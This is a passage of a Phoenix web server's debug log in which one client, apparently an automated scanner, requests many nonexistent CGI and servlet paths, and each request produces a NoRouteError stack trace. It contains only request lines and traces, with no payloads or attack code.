    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:01.566000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54842] GET /cgi-bin/test.sh
[Thu Sep  3 08:19:01.624000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54842] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/test.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:02.082000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54846] GET /
[Thu Sep  3 08:19:02.082000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:54846] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:19:02.083000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54846] Sent 200 in 784µs
[Thu Sep  3 08:19:03.230000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54846] OPTIONS *
[Thu Sep  3 08:19:03.305000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54846] ** (Phoenix.Router.NoRouteError) no route found for OPTIONS /* (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:04.096000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35024] GET /
[Thu Sep  3 08:19:04.096000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:35024] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:19:04.096000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35024] Sent 200 in 841µs
[Thu Sep  3 08:19:05.957000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:19:05.999000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35042] GET /
[Thu Sep  3 08:19:06.000000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:35042] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:19:06.001000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35042] Sent 200 in 1ms
[Thu Sep  3 08:19:07.210000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35054] GET /
[Thu Sep  3 08:19:07.211000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:35054] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:19:07.211000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35054] Sent 200 in 1ms
[Thu Sep  3 08:19:08.380000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35068] GET /cgi-bin/test-cgi
[Thu Sep  3 08:19:08.408000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35068] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/test-cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:09.758000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35054] GET /api
[Thu Sep  3 08:19:09.805000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35054] ** (Phoenix.Router.NoRouteError) no route found for GET /api (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:12.862000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35072] POST /storageevent/CompellentStorageEventServices
[Thu Sep  3 08:19:12.903000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35072] ** (Phoenix.Router.NoRouteError) no route found for POST /storageevent/CompellentStorageEventServices (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:14.000000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53454] GET /cgi-bin/upload.cgi
[Thu Sep  3 08:19:14.014000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53454] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/upload.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:19.226000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53460] GET /about
[Thu Sep  3 08:19:19.254000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53460] ** (Phoenix.Router.NoRouteError) no route found for GET /about (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:19.726000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53470] GET /cgi-bin/urlcount.cgi
[Thu Sep  3 08:19:19.739000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53470] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/urlcount.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:20.248000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53486] GET /servlet/UDataArea
[Thu Sep  3 08:19:20.275000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53486] ** (Phoenix.Router.NoRouteError) no route found for GET /servlet/UDataArea (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:20.870000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53500] GET /UDataArea
[Thu Sep  3 08:19:20.889000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53500] ** (Phoenix.Router.NoRouteError) no route found for GET /UDataArea (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:21.156000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53512] GET /common/about.php
[Thu Sep  3 08:19:21.183000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53512] ** (Phoenix.Router.NoRouteError) no route found for GET /common/about.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:25.421000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34522] GET /cgi-bin/viewcvs.cgi
[Thu Sep  3 08:19:25.432000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34522] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/viewcvs.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:27.001000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34528] GET /ddem/rest/auth/info
[Thu Sep  3 08:19:27.027000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34528] ** (Phoenix.Router.NoRouteError) no route found for GET /ddem/rest/auth/info (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:31.600000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34540] GET /Loginhandler/Login
[Thu Sep  3 08:19:31.623000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34540] ** (Phoenix.Router.NoRouteError) no route found for GET /Loginhandler/Login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:32.058000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34530] GET /cgi-bin/wa
[Thu Sep  3 08:19:32.072000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34530] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/wa (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
